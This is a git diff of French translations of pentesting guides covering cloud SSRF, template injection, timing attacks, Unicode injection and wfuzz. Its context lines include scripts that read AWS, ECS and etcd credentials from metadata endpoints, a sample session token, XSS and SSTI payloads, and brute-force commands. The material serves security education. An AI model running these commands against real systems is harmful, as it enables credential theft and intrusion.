Pour **plus d'informations**, jetez un œil à la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Blind SSRF
@ -292,7 +292,7 @@ La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF
### SSRF basé sur le temps
**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une ressource qui n'existe pas)
**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une qui n'existe pas)
## Exploitation SSRF dans le Cloud

14
src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View File

@ -15,7 +15,7 @@ Il existe **2 versions** du point de terminaison des métadonnées. La **premiè
>
> De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un jeton qui incluent l'en-tête `X-Forwarded-For`**. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de cela :
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -88,13 +88,13 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Remarquez le **aws_session_token**, c'est indispensable pour que le profil fonctionne.
Remarquez le **aws_session_token**, cela est indispensable pour que le profil fonctionne.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges.
### SSRF dans les identifiants AWS ECS (Service de Conteneurs)
**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en charge pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.
**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** à l'intérieur de la machine.\
Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\
@ -103,7 +103,7 @@ L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et toke
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
> Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
@ -118,7 +118,7 @@ Le **nom** des **variables d'environnement intéressantes** est :
De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Notez que les **identifiants lambda** se trouvent à l'intérieur des **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
> Notez que les **identifiants lambda** se trouvent dans les **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
### SSRF URL pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -325,7 +325,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> [!TIP]
> Une VM Azure peut avoir 1 identité gérée par le système et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez **imiter toutes les identités gérées attachées à une VM**.
>
> Par **défaut**, le point de terminaison des métadonnées utilisera le **MI assigné par le système (le cas échéant)**.
> Par **défaut**, le point de terminaison des métadonnées utilisera le **MI attribué au système (s'il y en a un)**.
>
> Malheureusement, je n'ai pas pu trouver de point de terminaison des métadonnées indiquant toutes les MI qu'une VM a attachées.
>
@ -601,7 +601,7 @@ Alibaba offre des points de terminaison pour accéder aux métadonnées, y compr
## Kubernetes ETCD
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré par :
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via :
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

2
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -188,7 +188,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Astuces Expliquées
### Astuce du Backslash
### Astuce du backslash
L'_astuce du backslash_ exploite une différence entre le [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), impactant la façon dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.

30
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -17,9 +17,9 @@ Par exemple, un attaquant pourrait créer une requête avec une charge utile com
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, ce qui peut potentiellement lui donner le contrôle sur le serveur.
Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, pouvant potentiellement prendre le contrôle du serveur.
Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées des utilisateurs sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.
Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.
### Détection
@ -27,7 +27,7 @@ Pour détecter l'injection de template côté serveur (SSTI), au départ, **fuzz
- Erreurs lancées, révélant la vulnérabilité et potentiellement le moteur de template.
- Absence du payload dans la réflexion, ou des parties manquantes, impliquant que le serveur le traite différemment des données régulières.
- **Contexte en texte brut** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
- **Contexte en texte clair** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
- **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` retournant le nom d'utilisateur.
#### Phase d'identification
@ -69,7 +69,7 @@ une table interactive contenant les polyglottes d'injection de modèle les plus
### Générique
Dans cette **liste de mots** vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -101,7 +101,7 @@ Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](h
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)`
- `#{7*7} = 49 -- (héritage)`
- `${7*'7'} Rien`
- `${foobar}`
```java
@ -373,10 +373,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est utilisée de manière extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
- **JavaServer Faces (JSF)** : Utilise EL pour lier les composants dans les pages JSF aux données et actions correspondantes en backend.
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de la page aux données de l'application.
- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions backend correspondantes.
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de page aux données de l'application.
- **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les beans gérés, garantissant une structure d'application plus cohérente.
Consultez la page suivante pour en savoir plus sur l'**exploitation des interprètes EL** :
@ -669,11 +669,11 @@ URLencoded:
### JsRender (NodeJS)
| **Modèle** | **Description** |
| **Template** | **Description** |
| ------------ | --------------------------------------- |
| | Évaluer et rendre la sortie |
| | Évaluer et rendre la sortie |
| | Évaluer et rendre la sortie HTML encodée |
| | Commentaire |
| | Commentaire |
| et | Autoriser le code (désactivé par défaut) |
- \= 49
@ -817,7 +817,7 @@ Consultez la page suivante pour apprendre des astuces sur **le contournement de
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il a un support complet de l'unicode, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
> Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
- `{{7*7}} = Erreur`
- `${7*7} = ${7*7}`
@ -933,7 +933,7 @@ La méthode .NET `System.Diagnostics.Process.Start` peut être utilisée pour d
### Mojolicious (Perl)
Même si c'est du perl, il utilise des balises comme ERB en Ruby.
Même si c'est Perl, il utilise des balises comme ERB en Ruby.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@ -947,7 +947,7 @@ Dans le moteur de template de Go, la confirmation de son utilisation peut être
- `{{ . }}` : Révèle la structure de données d'entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer.
- `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation Go [ici](https://golang.org/pkg/text/template).
- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go [ici](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
@ -959,7 +959,7 @@ vbnet Copy code
**Exploitation RCE**
L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur “call”), ce qui n'est pas permis dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/).
L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas permis dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/).
Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, il peut être exploité comme `{{ .System "ls" }}`. Accéder au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
```go

4
src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
View File

@ -18,7 +18,7 @@ Expression Language (EL) est essentiel dans JavaEE pour relier la couche de pré
EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.
> [!NOTE]
> Selon la **version d'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
> Selon la **version EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
## Exemple de base
@ -190,7 +190,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
- `sessionScope` - variables de session
- `param.X` - valeur du paramètre où X est le nom d'un paramètre http
Vous devrez convertir ces variables en chaîne comme :
Vous devrez convertir ces variables en String comme :
```bash
${sessionScope.toString()}
```

4
src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
View File

@ -247,10 +247,10 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Injection Jinja sans **\<class 'object'>**
Depuis les [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'accéder à **RCE sans utiliser cette classe.**\
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'accéder à **RCE sans utiliser cette classe.**\
Si vous parvenez à accéder à une **fonction** de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, le **RCE** est très **simple**.
Vous pouvez **trouver des fonctions** parmi les objets **`request`**, **`config`** et tout autre **objet global** intéressant auquel vous avez accès avec :
Vous pouvez **trouver des fonctions** parmi les objets **`request`**, **`config`** et tout **autre** objet **global intéressant** auquel vous avez accès avec :
```bash
{{ request.__class__.__dict__ }}
- application

8
src/pentesting-web/timing-attacks.md
View File

@ -20,17 +20,17 @@ Dans le billet de blog, il est commenté comment, en utilisant cette technique,
Ces différences de temps peuvent être dues à une **requête DNS** effectuée, à un **journal écrit** en raison d'une entrée invalide ou parce que certaines **vérifications sont effectuées** lorsqu'un paramètre est présent dans la requête.
Quelque chose que vous devez garder à l'esprit lors de l'exécution de ce type d'attaques est qu'en raison de la nature cachée de la surface, vous pourriez ne pas savoir quelle est la véritable cause des différences de temps.
Quelque chose dont vous devez vous souvenir lors de l'exécution de ce type d'attaques est qu'en raison de la nature cachée de la surface, vous pourriez ne pas savoir quelle est la véritable cause des différences de temps.
### Reverse Proxy Misconfigurations
Dans la même recherche, il a été partagé que la technique de timing était excellente pour découvrir des "SSRFs à portée limitée" (qui sont des SSRFs qui ne peuvent accéder qu'aux IP/domaines autorisés). Juste en **vérifiant la différence de temps lorsqu'un domaine autorisé est défini** par rapport à lorsqu'un domaine non autorisé est défini, cela aide à découvrir des proxies ouverts même si la réponse est la même.
Dans la même recherche, il a été partagé que la technique de timing était excellente pour découvrir des "SSRFs à portée" (qui sont des SSRFs qui ne peuvent accéder qu'aux IP/domaines autorisés). Juste en **vérifiant la différence de temps lorsqu'un domaine autorisé est défini** par rapport à lorsqu'un domaine non autorisé est défini, cela aide à découvrir des proxies ouverts même si la réponse est la même.
Une fois qu'un proxy ouvert à portée limitée est découvert, il a été possible de trouver des cibles valides en analysant des sous-domaines connus de la cible, ce qui a permis de :
Une fois qu'un proxy ouvert à portée est découvert, il a été possible de trouver des cibles valides en analysant des sous-domaines connus de la cible, ce qui a permis de :
- **Contourner les pare-feu** en accédant à des sous-domaines restreints via le **proxy ouvert** au lieu de passer par Internet.
- De plus, en abusant d'un **proxy ouvert**, il est également possible de **découvrir de nouveaux sous-domaines uniquement accessibles en interne.**
- **Attaques d'usurpation d'identité Front-End** : Les serveurs front-end ajoutent normalement des en-têtes pour le backend comme `X-Forwarded-For` ou `X-Real-IP`. Les proxies ouverts qui reçoivent ces en-têtes les ajouteront au point de terminaison demandé, permettant ainsi à un attaquant d'accéder à encore plus de domaines internes en ajoutant ces en-têtes avec des valeurs sur liste blanche.
- **Attaques d'usurpation d'identité Front-End** : Les serveurs front-end ajoutent normalement des en-têtes pour le backend comme `X-Forwarded-For` ou `X-Real-IP`. Les proxies ouverts qui reçoivent ces en-têtes les ajouteront au point de terminaison demandé, par conséquent, un attaquant pourrait être en mesure d'accéder à encore plus de domaines internes en ajoutant ces en-têtes avec des valeurs sur liste blanche.
## References

2
src/pentesting-web/unicode-injection/README.md
View File

@ -29,7 +29,7 @@ Cette vulnérabilité provient en fait d'une vulnérabilité qu'un chercheur a t
Les back-ends se comportent parfois de manière étrange lorsqu'ils **reçoivent des émojis**. C'est ce qui s'est passé dans [**ce rapport**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) où le chercheur a réussi à obtenir un XSS avec une charge utile telle que : `💋img src=x onerror=alert(document.domain)//💛`
Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 en UTF-8** (essentiellement, l'encodage d'entrée et la conversion d'encodage étaient incompatibles). Cela ne donne pas un < correct, juste un unicode étrange : `‹`\
Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 à UTF-8** (essentiellement, l'encodage d'entrée et la conversion d'encodage étaient incompatibles). Cela ne donne pas un < correct, juste un unicode étrange : `‹`\
``Ils ont donc pris cette sortie et **convertie à nouveau maintenant de UTF-8 à ASCII**. Cela a **normalisé** le `‹` en `<`, c'est ainsi que l'exploit a pu fonctionner sur ce système.\
Voici ce qui s'est passé :
```php

10
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -8,7 +8,7 @@
La normalisation Unicode est un processus qui garantit que différentes représentations binaires de caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter des chaînes dans la programmation et le traitement des données. La norme Unicode définit deux types d'équivalence de caractères :
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et le même sens lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de Compatibilité** : Une forme d'équivalence plus faible où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.
Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise les techniques de normalisation canonique et de compatibilité de manière différente. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).
@ -43,7 +43,7 @@ Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -79,17 +79,17 @@ Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode diff
### XSS (Cross Site Scripting)
Vous pouvez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
Vous pourriez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Remarquez que par exemple le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
Notez que par exemple le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex peut être **normalisant l'URL envoyée** mais ensuite **y accédant telle quelle**.
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex pourrait être **normalisant l'URL envoyée** mais ensuite **y accédant telle quelle**.
L'outil [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permet de **générer des variations de l'entrée** pour fuzz le backend. Pour plus d'infos, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).

2
src/pentesting-web/uuid-insecurities.md
View File

@ -10,7 +10,7 @@ Les UUID sont conçus pour être uniques et **difficiles à deviner**. Ils sont
- **UUID v1** est basé sur le temps, incorporant l'horodatage, la séquence d'horloge et l'ID de nœud (adresse MAC), mais il peut potentiellement exposer des informations système.
- **UUID v2** est similaire à v1 mais inclut des modifications pour les domaines locaux (peu utilisé).
- **UUID v3 et v5** génèrent des UUID en utilisant des valeurs de hachage provenant de l'espace de noms et du nom, v3 utilisant MD5 et v5 utilisant SHA-1.
- **UUID v3 et v5** génèrent des UUID en utilisant des valeurs de hachage à partir de l'espace de noms et du nom, v3 utilisant MD5 et v5 utilisant SHA-1.
- **UUID v4** est généré presque entièrement de manière aléatoire, offrant un haut niveau d'anonymat mais avec un léger risque de doublons.
> [!TIP]

8
src/pentesting-web/web-tool-wfuzz.md
View File

@ -4,13 +4,13 @@
Un outil pour FUZZ des applications web n'importe où.
> [Wfuzz](https://github.com/xmendez/wfuzz) a été créé pour faciliter la tâche dans les évaluations des applications web et il est basé sur un concept simple : il remplace toute référence au mot-clé FUZZ par la valeur d'une charge utile donnée.
> [Wfuzz](https://github.com/xmendez/wfuzz) a été créé pour faciliter la tâche dans les évaluations d'applications web et il est basé sur un concept simple : il remplace toute référence au mot-clé FUZZ par la valeur d'une charge utile donnée.
## Installation
Installé sur Kali
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
Github : [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
```
pip install wfuzz
```
@ -58,7 +58,7 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
```
#### **GET, 2 listes, filtre de chaîne (afficher), proxy, cookies**
#### **GET, 2 listes, filtrer la chaîne (afficher), proxy, cookies**
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
@ -74,7 +74,7 @@ wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FU
```
### Authentification par en-tête
#### **Basique, 2 listes, filtrer la chaîne (afficher), proxy**
#### **Basique, 2 listes, chaîne de filtre (afficher), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```

2
src/pentesting-web/web-vulnerabilities-methodology.md
View File

@ -94,7 +94,7 @@ Il existe plusieurs fonctionnalités spécifiques où des solutions de contourne
### **Objets structurés / Fonctionnalités spécifiques**
Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email).
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-têtes d'email).
- [ ] [**Deserialization**](deserialization/)
- [ ] [**Email Header Injection**](email-injections.md)

6
src/pentesting-web/web-vulnerabilities-methodology/README.md
View File

@ -52,7 +52,7 @@ Certaines des vulnérabilités mentionnées nécessitent des conditions spécial
### **Fonctionnalités de recherche**
Si la fonctionnalité peut être utilisée pour rechercher un type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
Si la fonctionnalité peut être utilisée pour rechercher un certain type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
